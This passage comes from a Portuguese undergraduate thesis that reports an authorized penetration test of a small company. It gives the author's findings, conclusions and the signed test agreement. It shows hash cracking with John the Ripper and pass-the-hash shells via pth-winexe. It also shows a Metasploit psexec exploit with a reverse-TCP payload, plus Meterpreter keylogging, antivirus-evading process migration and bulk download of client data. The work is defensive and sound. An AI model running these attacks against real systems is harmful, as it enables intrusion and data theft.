utilizar um ataque combinado de dicionario e forca bruta utilizando regras personalizadas com
o john, sendo assim, foram geradas palavras contidas no dicionario com: letras maidsculas,
minusculas, alfanuméricos antes das palavras, no meio e depois; caracteres especiais como:
“@#3%” e numeros antes, no meio e posterior as palavras. As palavras geradas foram
concatenadas no software Aircrack que realizou a comparagdo com 0 arquivo.cap que possuia 0
handshake capturado, assim, apds cerca de 11 minutos, a quebra da senha foi concluida com
sucesso. Para a segunda rede os procedimentos foram os mesmos, utilizando o mesmo
dicionario e as mesmas regras € em apenas 13 segundos foi quebrada, utilizando apenas o
processamento da CPU.

A Figura 4.88 mostra que apds conectar a rede wireless foram realizadas varreduras
para identificar a rede do alvo, quais seus computares estdo ativos, bem como realizada uma
varredura de vulnerabilidades e verificagdo da falha no SMB no host 192.168.0.112, e caso
houvesse continuidade, as fases anteriores do Pentest seriam realizadas. O invasor poderia
invadir a rede wireless e explorar as falhas que a rede interna possui. A Figura 4.88 ainda
apresenta uma andlise do range de rede 192.168.0.0/24, comprovando que apesar da posse do
IP de uma rede diferente, faz-se conexdo com a rede interna da Empresa e que mesmo havendo

duas redes que ndo parecerem interligadas, conclui-se que sdo praticamente a mesma coisa.

Figura 4.89 — Analise da rede através da ferramenta OpenVAS

Greenbone Security Assistant - Mozilla Firefox e o e

& Greenbone Security A % | 4 Greenbone Security A.. x| +
& DR | hitps11127.0.0.1:9392/0mp {=get_repart &report_id=B5eeheed-494f-deeh-a039-1 & note L o \ Search T Ba ¥+ ®

fE Most Visited s | JlOffensive Security S\, Kali Linux 'S Kali Docs S Kali Tools ™. Exploit-D8 Wy Alrerack-ng fUlKali Forums S NetHunter @ Getting Started & Primeiros passas B Most Visited

05 End Of Life Detection %] 192.168.0.112 generaltp

Microsoft Windows SME Server Multiple Vulnerabibties-Remote (4013389 95% 192.168.0.112 A45/tcp 3l (.
Microsoft Windows SMB Server Multiple Vulnerabilties-Remote (4013389) 95% 192.168.0.124 445 tcp 1LY
Firebird Default Credentials 100% 192.168.0.104 3050/kcp 3
Firebird Default Credentials %] 100% 192.168.0.108 3055tcp 3 .
Firebird Default Credentials 100% 192.168.0.122 3055kcp 3l (.
Firekzird Default Credentials 100% 192.166.0.1 3055cp LY
Firebird Default Credentials 100% 192.168.0.1 3050kcp 3 [
Firebird Default Credentials E 100% 192.168.0.112 3055tcp 3 .
Firebird Default Credentials 3.0 (Hight 100% 192.168.0.112 3050Mkcp 3l (.
Microsoft Windows SMB/NETBIOS NULL Session Authentication Bypass Vulnerability B EEELTTE. 99% 192.168.0.122 A45/tcp i
Microsoft Windows SMB/NETEIOS NULL Session Authentication Bypass Vulnerability [ ] 99% 192.168.0.1 A45/tcp 3
Microsoft Windows SME/NETBIOS NULL Session Authentication Bypass Vulnerability B EEELTIE 995, 192.168.0.112 445/tcp 3 .
Microsoft Windows SMB/NETBIOS NULL Session Authentication Bypass Vulnerability B EEETT. 99% 192.168.0.124 445/tcp 3 .
DCE/RPC and MSRPC Services Enumeration Reporting octium)_| a0% 192.168.0.104 135/tcp i
DCEJRPC and MSAPC Services Enumeration Reporting ociium)__| 80% 192.168.0.108 135/tcp 3
DCEJRPC and MSRPC Services Enumeration Reporting =] foium) | a0% 192.168.0.109 135tcp 3
DCEJRPC and MSRPC Services Enumeration Reporting foctium) _| 80% 192.168.0.122 135/tcp 3 .
DCE/RPC and MSRPC Services Enumeration Reporting octiumy _| 80% 192.168.0.1 135/tcp i
DCE/RPC and MSAPC Services Enumeration Reporting fociium)__| 80% 192.168.0.112 135/tcp 3

Fonte: Elaborada pelo autor
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4.5 Pos Exploracéo

A fase de pds exploracdo do Pentest consistiu em quebrar senhas de credenciais

obtidas na etapa anterior e escalagdo de privilégios do sistema e controle total sobre ele.

4.5.1 Ataque Misto: forca bruta e dicionéario

A Figura 4.90 ilustra a execu¢do do comando John senhashash —format=nt
—wordlist=dicionario.txt, que utiliza o arquivo que possui as senhas obtidas, o
formato que elas estdo e por Gltimo a wordlist que vai servir para testar as palavras geradas

para quebrar a senha do administrador utilizando o dicionario gerado personalizado.

Figura 4.90 — Utilizag&o do john para quebra das senhas das credenciais obtidas na etapa anterior

:~# john senhashash --format=nt --wordlist=dicionario.txt
Using default input encoding: UTF-8
Loaded 2 password hashes with no different salts (NT [MD4 1287128 AVX 4x3])
Remaining 1 password hash
Press 'q' or Ctrl-C to abort, almost any other key for status
(Administrador)

1g 6:00:00:091 DONE (2018-08-08 00:16) ©.8333g/5 2126Kp/s 2126Kc/s 2126KC/s
1185. .administrador
w" option to display all of the cracked passwords reliably

Fonte: Elaborada pelo autor

A Figura 4.91 ilustra a execucdo do comando para quebra de senha do convidado

utilizando o dicionario gerado personalizado, no entanto ndo houve nenhuma senha retornada.

Figura 4.91 — Utilizando o John para quebra da senha do convidado
. :—é john senhashashconvidado --format=nt --wordlist=dicionario.txt
Using default input encoding: UTF-8

Loaded 1 password hash (NT [MD4 128/128 AVX 4x3])
No password hashes left to crack (see FAQ)
i

Fonte: Elaborada pelo autor

A Figura 4.92 ilustra a utilizagdo da ferramenta rdesktop?? para acessar utilizando as
credenciais obtidas (Figura 4.93) ao host 192.168.0.1.

22 nttps://www.rdesktop.org/
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Figura 4.92 — utilizacdo da ferramenta rdesktop para conex&o de acesso remota

root@YagoKali: ~ e ® O '
Arquive Editar Ver Pesquisar Terminal Ajuda
top -f 192.168.0.1] -

Fonte: Elaborada pelo autor

Figura 4.93 — Utilizagdo das credenciais obtidas para acesso total ao servidor

rdesktop - 192.168.0.1 (- - ]

ows Server 2008

Fonte: Adaptada de rdesktop

A Figura 4.94 ilustra o acesso total a maquina utilizando o protocolo RPD, com as

credenciais obtidas.

Figura 4.94 — Acesso total ao servidor

rdktop - 192.168.0.3

Fonte: Adaptada de rdesktop

A Figura 4.95 ilustra a obtencdo da shell do computador passando as credenciais via
linha de comando no software pth-winexe. A Figura 4.96 mostra 0 nome do computador e o
ataque foi realizado com sucesso. A Figura 4.97 demonstra o comando do tipo de exploit
utilizado.



106

Figura 4.95 — Utilizagdo do software pth-winexe passando as credenciais obtidas e ganhando o shell do
servidor
//192.168.0.1 cmd

E md4hash wrapper called.
Microsoft Windows [versBo 6.1.7601]
Copyright (c) 2089 Microsoft Corporation. Todos os direitos reservados.

C:\Windows\system32>]]

Fonte: Elaborada pelo autor

Figura 4.96 - Acesso ao computador efetuado com sucesso.

C:\Windows‘system32=hostname
hostname
S5rv-

C:\Windows\system32=|

Fonte: Elaborada pelo autor

Figura 4.97 - Utilizacdo de um exploit que tem a funcéo de obter acesso a maquina passando as credenciais

de usuario

nst = use exploit/windows/smb/psexec

Fonte: Elaborada pelo autor

A Figura 4.98 ilustra a configuragdo do exploit com as credenciais do servidor que
foram obtidas, a Figura 4.99 mostras ap6s configurar o tipo de payload selecionado para o
exploit e executado para a obtencdo de acesso via interface grafica (RPD), Figuras 4.100 e
4.101. A Figura 4.102 mostra o acesso obtido ao servidor via exploit ganhando acesso pelo
método do Meterpreter.

Figura 4.98 - Configurando o exploit com as credenciais do servidor que foram obtidas

root@YagoKali: ~ e ® 0

Arquivo Editar Ver Pesquisar Terminal Ajuda

SERVICE_DESCRIPTION no Service description to to be
used on target for pretty listing

SERVICE DISPLAY NAME no The rvice display name

SERVICE_NAME no The g

SHARE ADMINS yes The to connect to, can
be an admin share (ADMIN%,C%,...) or a normal read/wr folder share

SMBDomain c no The Windows domain to use fo
r authentication

no The password for the specifi

no The username to authenticate

Exploit target:

Id Name

0] Automatic

msf exploit( ) = set SMBuser Administrador
SMBuU => Administrador
msf exploit( ) = set Smbpass

Fonte: Elaborada pelo autor
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Figura 4.99 — Modificando o payload de conexao reversa

msf exploit( ) = set payload windows/x64/vncinject/reverse tcp

payload == windows/x64/vncinject/reverse tcp
mstf exploit( )

Fonte: Elaborada pelo autor

Figura 4.100 - Configuracéo do payload de conexao reversa

et lhost 192.
et lport 443
) > exploit
re TCP handler on

.08.1:445 - Connecting
445 -

ervice executable...

8 blue @

in each pi 5
1 255 blue i r 6 8 blue @

Fonte: Elaborada pelo autor

Figura 4.101 - Execucao do payload e conexdo via RPD concluida com sucesso

TightVNC: srv-acontec

Pressione CTRL + ALT + DELETE para fazer logon

3

Fonte: Adaptada de Metasploit
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Figura 4.102 — Acesso via meterpreter

root@ YagoKali: ~ e ® O

Arquivo Editar Ver Pesquisar Terminal Ajuda

Exploit target:
Id MName

Automatic

exploit( ) > exploit

Started rever 68.0.10:443
45 - Connecting to the server..
- Authenticating to 192.168.08.1:445 as user 'Administrador’.

ecting PowerShell target

uting the payload...
- Service start timed out, OK if running a command or non-se

-98-08

meterpreter > |J

Fonte: Elaborada pelo autor

4.5.1.1 Ataque Pass the hash

O ataque Pass the hash é um tipo de ataque que as credenciais de usuarios obtidas nao
precisam estar em texto claro para o atacante obter acesso total a maquina alvo

A Figura 4.103 ilustra a conexdo efetuada com sucesso, passando apenas as
credenciais obtidas e exploracdo da falha SMB. Nenhuma execucdo do software precisou ser

feita por usuarios terceiros, assim obtendo acesso total ao servidor novamente.

Figura 4.103 - Acesso ao shell do Windows da maquina alvo utilizando o comando pth-winexe.

root@YagoKali: ~ o ® O

Arguivo Editar Ver Pesquisar Terminal Ajuda
:~# pth-winexe -U AdministradorZaad3bs< 1404ee:94
7b5:¢ //192.168.8.1 cmd
E md4hash wrapper called.
HASH PASS: Substituting user supplied NTLM HASH...

Microsoft Windows [ver 6.1.7601]
Copyright (c) 2089 Microsoft Corporation. Todos os direitos reservados.

C:\WindowsH tem3z2=

Fonte: Elaborada pelo autor
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Na Figura 4.104, as credenciais foram repassadas criptografadas, conseguindo o
acesso total a maquina. Também foi possivel utilizar um exploit SMB passando as hashes das

credenciais (Figura 4.104) para obter acesso a maquina retornando o meterpreter.

Figura 4.104 — Utilizacdo das credenciais criptografadas para ataque pass the hash

2aad3b435b51404ee: 9
989bafe49b79edo

hell target
oad. ..

Sending 3.
Meterpret 0 ed (192.168.0.10:443 -> 192.168.0.1:51929) at 2018-08-08 00:57:44 -0300

meterpreter > |j

Fonte: Elaborada pelo autor

Utilizando as func¢des do meterpreter para captura de tela (Figura 4.105) e de teclas
digitadas no computador alvo (Figura 4.106).

Figura 4.105 - Tela do alvo

0: /root/omURbPNE. jpeg

Fonte: Elaborada pelo autor

Figura 4.106 — Tentativa de captura de teclas digitadas

root@YagoKali: ~ e ® O

Ver Pesquisar Terminal Ajuda

Arquive  Editar

timestomp Manipulate file MACE attributes

meterpreter >
i 3 e sniffer ...
shot
/root/omURbPNE. jpeg
em
...got sys
meterpreter > getiud
n command: getiud.
not
Jroot/nnPpqdsL.jpeg
enshot
o: /root/ibCdrgVvt.jpeg

opping

eterpre

meterpreter > k
Dumping captured

Fonte: Elaborada pelo autor

A Figura 4.107 ilustra a execucdo do comando ps, que lista 0s processos executados
no sistema operacional em tempo de execucéo.
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Figura 4.107 - Listagem dos processos executados na memdria do sistema alvo

root@YagoKali: ~ (- OB -

Arquivo Editar Ver Pesquisar Terminal Ajuda

meterpreter > ps

PID PPID Name

352 1704 CClean 4. SRV- vAdministrador
C:\Program Files\C
364 4 SmMSS. X6 g AUTORIDADE NTA\SISTEMA

AUTORIDADE NT\SERVI®O DE RED
AUTORIDADE NT%SISTEMA

500 492 .exe AUTORIDADE NTA\SISTEMA
C:\Window | Srss. : -

Fonte: Elaborada pelo autor

Na Figura 4.108, tem-se a migracdo do processo do arquivo payload, para o processo
nativo do Windows explorer.exe, com o objetivo de dificultar a analise do software antivirus, e

é mais dificil do processo explorer.exe ser finalizado por algum usuério.

Figura 4.108 — Migracéo do processo do payload para dificultar a deteccdo por antivirus

root@ YagoKali: ~ (— IO ]

Arquivo Editar Ver Pesquisar Terminal Ajuda
3232 596 svchost. g AUTORIDADE NT\SERVI#O DE REDd
E C:\Windows\system32\svchost.ex
3256 596 SVC . g AUTORIDADE NT\SISTEMA
C:\Windows\Syst
3592 2728 tv_w32 X86 AUTORIDADE NT\SISTEMA
C:\Program Files (x86)\TeamViewer\t e
3044 Log c x64 AUTORIDADE NT\SISTEMA
\Windowsysy T )gonUI.exe
406 1284 avpui x86 1 SRV -/ Administrador
C:\Program Files (x86)\Kaspersky Lab\Kaspersky Small Office Security 15.0.2\a

rdpclip.exe x64 1 SRV - sAdministrador
! n32\rdpclip.exe
4260 5108 ! %86 1 SRV - \Administrador

4804 712 WmiPrvs - XB86 : AUTORIDADE NT\SISTEMA
C:\Windows\sysWOW64\wbem\wmiprvs :

meterpreter > migrate 2528
Migrating from 19 o 2528...
ration completed successfully.
> getpid
2528

Fonte: Elaborada pelo autor

Apesar do ataque, o antivirus detectou a atividade maliciosa do payload (Figura
4.109). Entretanto, mais uma vez, ndo houve interferéncia de nenhum funcionario da Empresa,

sendo possivel a continuacao do ataque ao sistema.
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Figura 4.109 — Antivirus detecta atividade maliciosa na memdria
T —— T —
@

Ps malware detectado

E recomendavel fechar todos os programas atives e
salvar suas alteragdes antes de reiniciar o
computador.

Detectado: Trojan.Multi.GenAutorunProca
Local: System Memory:

Desinfectar e reinidar o computador

Tentar desinfectar sem reiniciar o computador

Esse método ndo garante a desinfeccdo completa.

Aplicar 4 todos os objetos desse tipo

Fonte: Kaspersky Labs

A Figura 4.110 ilustra a execucdo do comando download para baixar uma pasta inteira

de uma entidade organizacional para o computador atacante.

Figura 4.110 — Realizacdo de download da base de dados de um cliente

100666/ rw-rw-rw- 860 fil 2012-05-05 13:38:44 -0300 unins002.dat
100777/ rwxrwxrwx 690564 fil 2012-05-05 13:38:38 -0380 unins0B2

meterpreter > download
[+] downloading:
FDB

Fonte: Elaborada pelo autor

Na Figura 4.111 e 4.112 sdo apresentados os arquivos das pastas contendo arquivos
das bases de dados dos clientes, enquanto a Figura 4.113, os arquivos relacionados a um

possivel funcionario da Empresa.

Figura 4.111 — Download dos arquivos contidos na pasta de um possivel funcionario

root@ YagoKali: ~ @ 0 0

Arquivo Editar Ver Pesquisar Terminal Ajuda
100666/ rw-rw-rw- 860 fil 2012-05-05 13:38:44 -0300 uninsee2.dat -

Xrwx 690564 fil 2012-05-05 13:38: -0300 unins

\201804271011_ -3 ‘201804271011
download : 1201804271011 -> ¥201804271011 |
downloading: \201806281146 -3 /201806281146 |
download : \201806281146_ -> /201806281146 |
downloading: \201807261130 -3 /201807261130 |
download : \201807261130_ -> /201807261130 |
downloading: \7za.dll -> /7za.dll
download : \7za.dll -= f7za.dll
mirroring : \BKP-20180427-1081139 -> ‘BKP-20180427-10113
downloading: +BKP-28180427-181139\C- -

.20180427 ©950.FBK -> I
FDB.20180427_0950.FBK

Fonte: Elaborada pelo autor
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Figura 4.112 - Verificacao dos dados obtidos

C-- iphist.dat .FDB

-—
||
7zadll 201804271 201806281 201807261 BKP-

2
o

FDB FDB FDB 101139

20180410_  2U18U4/7_ fULBUSZL. JULBUbZS_ 2ULBU/Zb_
0943.7z 0950.7z 0920.7z 1138.7z 1103.7z

Fonte: Elaborada pelo autor

Figura 4.113 — Dados obtidos de funcionario da Empresa

< % ||+ fr Pasta pessoal b »

T) Recentes : .
o 5 s — s .
53 03
|
IMPRIMIR  INSTALAR jelk-Buds- Limpar Fila

1 Pasta pessoal
agenda ATA Bloco_de_ Contrato-  Contraton® DADOS DA folder
ltrea de trabalho oo notas(l)pdf o 3 windows- de
DADOS-C.. pdf OLTDAM pdf exe x6dexe  Impressdo.
'JD:UI’“@NOS
o, e oot Yagoksli: ~
R Downloads . _ .06
] LMLL30. rqumn Editar Ver Pesquizar Terminal Ajuda
(AR Mzl off
MFP_Full. Al
AR Salution

H‘”“"“‘ exe
ﬂwnm
@Julrm. Incais

Fonte: Elaborada pelo autor
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5 Resultados e Discussoes

Apos a realizacdo do Pentest, é possivel concluir que a Empresa apresentou falhas
graves, obtendo-se dados sensiveis e sigilosos, que se expostos ou alterados poderiam
comprometer a sua reputacdo da Empresa. Os dados coletados eram de clientes, documentos da
organizacdo, funcionarios e senhas.

O Pentest evidenciou a possibilidade de aplicar medidas de protecdo as organizacdes
contra black hats, utilizando-se das mesmas técnicas utilizadas por estes, auxiliando a diminuir
0S riscos e prevenir ataques provenientes da Internet.

A Empresa, onde foram realizados os testes, se prontificou de imediato para solucao
destes problemas encontrados, apés o relato foi explicado aos seus diretores, o resultado dos
ataques, ou seja, da obtencdo de dados sensiveis com a utilizagdo dos testes e exploragdo das
falhas.

Também ¢é esperado que os resultados e procedimentos contidos nesta monografia
possam auxiliar outras organizacfes a entenderem como a seguranc¢a da informacao deve ser
algo primordial e levado como uma forma de investimento e protecéo de ativos e ndo como um
gasto “desnecessario”. Proporcionando, a pequenas e médias organizagdes, a visao errdnea de
sO haver preocupacdo com a seguranca quando sofrem algum tipo de atagque que as
comprometem financeiramente ou abala a reputacao.

Foram identificadas falhas e wvulnerabilidades que passam despercebidas pelos
técnicos de Tl em empresas, que poderiam ser facilmente exploradas por alguém com ma
intencdo e conhecimento para colocar em risco a seguranca dos ativos nas organizagdes. As
falhas encontradas, foram erros muito comuns e que se fossem aplicadas medidas bésicas de
seguranca, poderiam ter sido evitadas ou até mesmo diminuidas.

Esses resultados corroboram que os testes foram satisfatorios e eficientes com o uso
da metodologia aplicada. O Pentest € uma maneira eficiente que pode ser adotada pelas
organizagbes como uma medida de protecdo contra black hats, utilizando-se das mesmas
técnicas, testando seus bens antes que um ataque real ocorra, para que assim, possam ser
auxiliadas a diminuir os riscos e prevenir ataques provenientes da Internet.

No relatério final foi utilizado como validacdo dos testes, classificando os impactos e

quais medidas a serem adotadas para correcdo das vulnerabilidades.
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5.1 Resultados dos testes realizados

Foram realizados os testes nas falhas que foram classificadas como graves, pelo
software de analise de vulnerabilidades OpenVAS, tendo prioridade o computador que era o
servidor principal da Empresa e dispositivos de rede Wireless. Estas falhas foram exploradas e

comprometiam os arquivos da Empresa.

5.2 Ataques bem-sucedidos

O primeiro ataque efetuado com sucesso foi a exploracdo da falha no SMB do
servidor, onde foram inseridas credenciais: um usuario que ndo existia (Administrator) e senha
com valor nulo. Resultou o acesso a pasta de compartilhamento, podendo visualizar, copiar e
substituir arquivos, uma vez, que 0s arquivos da organizacdo estavam nesta pasta
compartilhada, pode-se considerar um risco alto.

O segundo ataque, foi o envio de um malware criado pela ferramenta Metasploit, em
que foram juntados dois arquivos, um executavel do sistema comumente utilizado e o arquivo
malicioso. Apos executado pelo usuario, sem o conhecimento do que havia por tras do arquivo,
concedeu 0 acesso de usuario convidado ao servidor principal. Nesta etapa, ja se possuia acesso
como um usuério comum, podendo ter acesso a todo o sistema operacional, download e upload
de arquivos, apesar de ainda nado ter privilégios suficientes em nivel administrativo. Foram
conseguidas credenciais de funcionarios, administrador e convidado criptografadas pelo
recurso do meterpreter.

O terceiro ataque foi a quebra de senhas recolhidas, através do uso do dicionario
criado com dados coletados da Empresa. Utilizou-se a ferramenta john the ripper com suas
regras personalizadas, gerando palavras combinadas com o dicionario, com caracteres
alfanumeéricos e especiais.

O quarto ataque foi a utilizagdo destas senhas, mesmo criptografas obtendo acesso
administrativo ao servidor. Com o ataque chamado pass the hash, mesmo se ndo pudesse
descobrir as senhas dos usuérios, foi provado que com duas hashs € possivel obter acesso ao
servidor sem precisar, inseri-las em texto claro.

O quinto ataque foi a quebra da senha das redes wireless, através de ataque combinado
com o dicionério criado com dados da Empresa. Novamente utilizando a ferramenta john the

ripper com suas regras personalizadas, gerando as palavras combinadas com o dicionario, com
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caracteres alfanuméricos e especiais. O tempo decorrido para obtencdo da senha foi de 11
minutos e 35 segundos.

O sexto ataque foi a quebra da senha das redes wireless para convidados, através de
ataque combinado com o dicionério criado com dados da Empresa, junto com a ferramenta
john the ripper utilizando suas regras personalizadas, gerando as palavras combinadas com o
dicionéario, com caracteres alfanuméricos e especiais. O tempo decorrido para obtencdo da
senha foi de 13 segundos.

O sétimo ataque foi utilizacdo de um exploit com o objetivo de explorar uma falha de
um terminal com uma versdo desatualizada do Windows 7. Este computador ndo possuia as
atualizagdes de seguranca atualizadas e nem software antivirus instalado. Como resultado foi o

total acesso a maquina.

5.3 Ataques malsucedidos

No primeiro ataque se tentou, via Netcat e Metasploit, conectar ao banco de dados
Firebird SQL, identificado pela ferramenta OpenVAS que este servi¢co possuia credenciais
configuradas com dados de usuario e senha padrdo. No Netcat ndo foi possivel obter a conexao.
No Metasploit a versdo utilizada do servico do Firebird ndo era compativel com os exploits
disponiveis na ferramenta.

O segundo ataque foi a tentativa de usar um exploit da ferramenta Metasploit para
explorar a falha do servidor SMB das demais maquinas, mas ndo foi concluida com sucesso,
pois 0 mesmo nao tinha o exploit compativel.

O terceiro ataque foi a tentativa de quebrar senhas do painel administrativo do
roteador Wireless, foram testadas credenciais padrdo do dispositivo e o software xhydra para

quebra, utilizando o dicionario de dados, mas ndo houve sucesso neste procedimento.
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6 Conclusao

6.1 Consideracodes finais

A partir da conclusdo desta pesquisa, as principais falhas identificadas tém ligacao
direta com ma configuracdo de equipamentos, falhas humanas, software desatualizados e
obsoletos, mas que poderiam ter sido minimizadas caso a Empresa tivesse uma cultura e
politica de protecdo de dados, que s6 passou a ser considerada a ideia de investimentos apos
apresentacdo dos resultados obtidos no Pentest. Foi entregue a Empresa o relatério (Apéndice
B) deste trabalho, contendo um resumo geral dos processos utilizados, nos testes, quais as
vulnerabilidades encontradas, descricdo quantificacdo de risco e quais medidas a serem
tomadas para evita-los ou minimiza-los. A empresa se prontificou em seguir as recomendacdes
e aplicar as medidas necessarias para correcdo dos problemas.

Acreditasse que se 0s ataques tivessem sido efetuados por um black hat, a empresa

correria riscos altissimos de perda clientes, reputacéo ou até faléncia.

6.2 Contribuicdo deste trabalho

Este trabalho teve como contribuicdo principal, difundir uma técnica que pode ser
utilizada em organiza¢Ges com o objetivo de identificar falhas previamente e testa-las para
protecdo futura de seus bens digitais, auxiliando-as prevencdo de crimes digitais, contra
principalmente seus dados, que possuem um valor incalculdvel financeiramente, caso os pilares
da seguranca da informacdo sejam violados. Também mostrou a Empresa convidada, que o
Pentest demonstrou que seus dados estavam sob um risco classificado como alto, podendo ser
acessados ou violados por pessoas que ndo possuiam autorizacao.

Sendo assim, baseado em um caso real, acreditasse que a principal contribui¢do desta
pesquisa, além de ajudar a Empresa convidada quanto a seguranca da informacdo, ter um
documento solido que sirva de orientacdo a outras organizacfes e que sirva de referencial a

outras pesquisas.
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6.3 Proposta para trabalhos futuros

Como trabalho futuro, propdem-se a utilizacdo de Pentest:

Em ambientes Web e dispositivos moveis, visto que estas duas categorias estdo
em crescente expansdo, podendo identificar novos tipos de fraudes que black hats
estejam utilizando atualmente para obtencdo de ganhos ilicitos;

Desenvolvimento de novas ferramentas que auxiliem Pentesters no processo de
auditoria;

Realizar testes em outras organizacbes, apontando os tipos de falhas mais
frequentes nesses ambientes; e

Realizar testes de Engenharia Social em funcionarios, para medir a aptiddo em

relacdo a prevencéo de fraudes.
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APENDICE A — Acordo de Cooperac&o Técnica

Este Apéndice € baseado em Ricardo Longatto. A realizacdo desta pesquisa seguiu um
Acordo de Cooperagdo Técnica entre 0 autor e a Empresa. Os dados da Empresa serdo

suprimidos para garantir a confidencialidade estabelecida.

ACORDO DE COOPERACAO TECNICA

ACORDO DE COOPERACAO FIRMADO
ENTRE A E

YAGO DYOGENNES BEZERRA VIEIRA

Durante o periodo de 15 de Maio de 2018 a 15 de Agosto de 2018, de um lado a Empresa
, localizada na

CNPJ n° , doravante denominada simplesmente
neste ato representada por sua Diretora,
Dyogennes Bezerra Vieira, residente na rua
, inscrito sob o CPF n° , celebram o presente
Acordo de Cooperagdo Técnica, que se regera de conformidade com a Lei n° 8666, de 21/06/1993 e
posteriores modificagdes e as seguintes clausulas e condices:

; de outro lado Yago

CLAUSULA PRIMEIRA - OBJETO

O presente Acordo tem por objeto, a realizacdo de Teste de Intrusdo (Pentest), a ser realizado
por Yago Dyogennes Bezerra Vieira junto & ||| | . como meio de um ambiente
real de testes, para uso em seu Projeto de Conclusdo de Curso, Intitulado: Utilizacdo de Pentest na
Prevencdo de Ataques Cibernéticos as OrganizacOes; para obtencdo do titulo de Bacharel em
Sistemas de Informacdo, pela Universidade Federal Rural de Pernambuco. Sendo que, referidos testes
somente poderdo ser realizados nos dias e horarios acordados, discriminados na Clausula 22, mantendo
o total sigilo das informacGes coletadas, referentes a

Yago Dyogennes Bezerra Vieira conduzirda um TESTE DE INTRUSAO contra as redes interna
e Wireless.

Os testes consistem em simulagdes de ataques reais, resultando na descoberta de falhas da
configuragdo e/ou vulnerabilidades. Vulnerabilidades estas que possam vir a permitir que a

sofra impactos com ataques direcionados, perdendo a disponibilidade, integridade e
confidencialidade de informagdes e sistemas.

CLAUSULA SEGUNDA - EXECUQAO DOS SERVICOS
2.1 Escopo

O TESTE DE INTRUSAO escolhido foi do tipo GRAYBOX (conhecimento parC|aI de
informac6es), ou seja, algumas informacdes foram repassadas pela
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O trabalho deve ser executado no seguinte escopo: Sites de busca na Internet, Rede Interna e
Rede Wireless.
Yago Dyogennes Bezerra Vieira tem permissao de explorar o Escopo em sua integralidade.

2.2 Limitacoes do Escopo
A i determina as seguintes limitagdes a realizagdo dos referidos testes:

e Ataques DoS e DDoS (Negacdo de Servigo), uma vez que, retirar o site de funcionamento,
pode ocasionar grandes perdas e prejuizos ao negocio.

e Ataques de Engenharia Social, pois o objetivo principal da _ é

medir o nivel de seguranca de seu ambiente sem depender do fator de erro humano.

e Atacar sistema critico localizado na URL _ e _

2.3 Janela de testes

Referidos testes, deverdo ser realizados fora do horario comercial, ou seja, de segunda a sexta-
feira apds as 17:00 horas.

Todas as fases do teste poderdo ser acompanhadas e supervisionadas a critério da ||| | | Gz
I Caso opte pelo acompanhamento, tal supervisio somente poderd ser realizada pelo
responséavel indicado pela ||| GTcCGGGEEEEE

O teste de invasdo devera obedecer as seguintes fases:

1 Planejamento;

2 Descoberta;

3 Ataque (exploracéo);

4 Relatorio de recomendacoes;

5 Apresentacdo do relatdrio de recomendacdes e descrigdo das atividades executadas durante o

teste.

CLAUSULA TERCEIRA — DAS RESPONSABILIDADES

A responsabilidade de Yago Dyogennes Bezerra Vieira restringe-se a apenas detectar e apontar

0s riscos existentes com relagdo & integridade e vulnerabilidade dos sistemas da || Gz
e tdo somente, apresentar formas para minimiza-los.

O trabalho desenvolvido por Yago Dyogennes Bezerra Vieira ndo tem como objetivo corrigir as
possiveis vulnerabilidades, tampouco, proteger a ||| GGG contra ataques internos e
externos.

As recomendacdes feitas por Yago Dyogennes Bezerra Vieira devem ser validadas antes de
serem colocadas em producdo, Yago Dyogennes Bezerra Vieira ndo se responsabilizara por erros de
implementagdes.

Sera responsabilidadede de Yago Dyogennes Bezerra Vieira garantir a seguranga aos dados do
Pentest, dos relatorios e dados contidos neles, mantendo-os ocultos em seu Projeto de Conclusdo de
Curso.

Sera de responsabilidade da [ . oorantir a seguranca ao acesso dos
relatorios entregues por Yago Dyogennes Bezerra Vieira, bem como a indicagdo dos responsaveis pelo
acompanhamento da realizagdo dos referidos testes.

CLAUSULA QUARTA - RESCISAO

O presente Acordo podera ser rescindido caso ocorra uma das seguintes situacdes:
a) De comum acordo entre as partes;

CLAUSULA QUINTA - PROPRIEDADE INTELECTUAL

Para que seja alcancado o objetivo da atividade Yago Dyogennes Bezerra Vieira e, para que esta
possa ser realizada em sua integralidade, a , heste ato, AUTORIZA YAGO
DYOGENNES BEZERRA VIEIRA, a realizar o Teste de Intrusdo (Pentest), objeto do presente Acordo,
devendo-se sempre, ambas as partes, assegurar a seguranca das informacGes obtidas e fornecidas, bem
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como, cumprirem com seus deveres de confidencialidade de informagdes, devidamente pactuado entre
as partes, conforme ACORDO DE CONFIDENCIALIDADE DE INFORMACOES, parte integrante do
presente Acordo.

CLAUSULA SEXTA - DAS CONDICOES GERAIS

Este Acordo constitui o unico documento que regula os direitos e obrigacdes das partes, com
relagdo aos servigos prestados, ficando expressamente cancelado e revogado, todo e qualquer
entendimento ou ajuste porventura existente que nao esteja explicitamente consignado neste Acordo.

E, por estarem justos, cientes e de acordo com todas as clausulas e condigBes do presente
Acordo de Cooperacdo de Servigos de Teste de Intrusdo (Pentest), assinam este instrumento em duas
vias para um s6 efeito na presenca das testemunhas abaixo.

Triunfo, 10 de Maio de 2018.

Yago Dyogennes Bezerra Vieira
. Responsavel pelos Testes de Intruséo
Diretora da

Testemunhas:

Nome:
CPF:

Nome:
CPF:
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APENDICE B - Relatério Final Pentest

Este Apéndice é baseado em Petter Anderson Lopes e foi utilizado como modelo para
o relatorio deste trabalho. Este relatdrio foi entregue a empresa como resultado final dos testes,

pare que fosse implementadas as devidas correcoes.
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Relatério Resumido do Pentest
No ambiente da empresa

CLIENTE

Requerente: Diretor da Empresa.
Pentester: Yago Dyogennes Bezerra
Vieira

Periodo: de 05/2018 a 08/2018.

Modelo: Gray Box.

Ambiente: Interno e Wireless.
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Importante

Este documento contém informacao confidencial e privilegiada, sendo seu sigilo protegido por
lei. Se vocé néo for o destinatario ou a pessoa autorizada a receber este documento, ndo pode
usar, copiar ou divulgar as informacg6es nele contidas ou tomar qualquer agcéo baseada nessas
informacdes. Se vocé recebeu este documento por engano, por favor, avise imediatamente ao

remetente e em seguida apague-o.
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1) Identificacédo do alvo
Levantamento de informages sobre o alvo, com dados publicos disponibilizados na Web;
Rede interna da empresa CLIENTE, com prioridade no servidor principal da rede;
Redes Wireless pertencentes a CLIENTE;
Alguns ativos da rede interna.
2) Principais Ferramentas Utilizadas
e A -Whois, Google, Maltego;
e B - Fping;
e C-Nmap;
e D -0OpenVAS;
e E - SMBclient;
e F—Veil, Shelter;
e G — Metasploit,
e H-fgdump;
e | — Aircrack, JohnTheRipper;
e J— Rdesktop;
e K- PthWinexe.
3) Meétodo de investigacdo e andlise
e A - Efetuado levantamento de dados e informaces referentes a empresa.
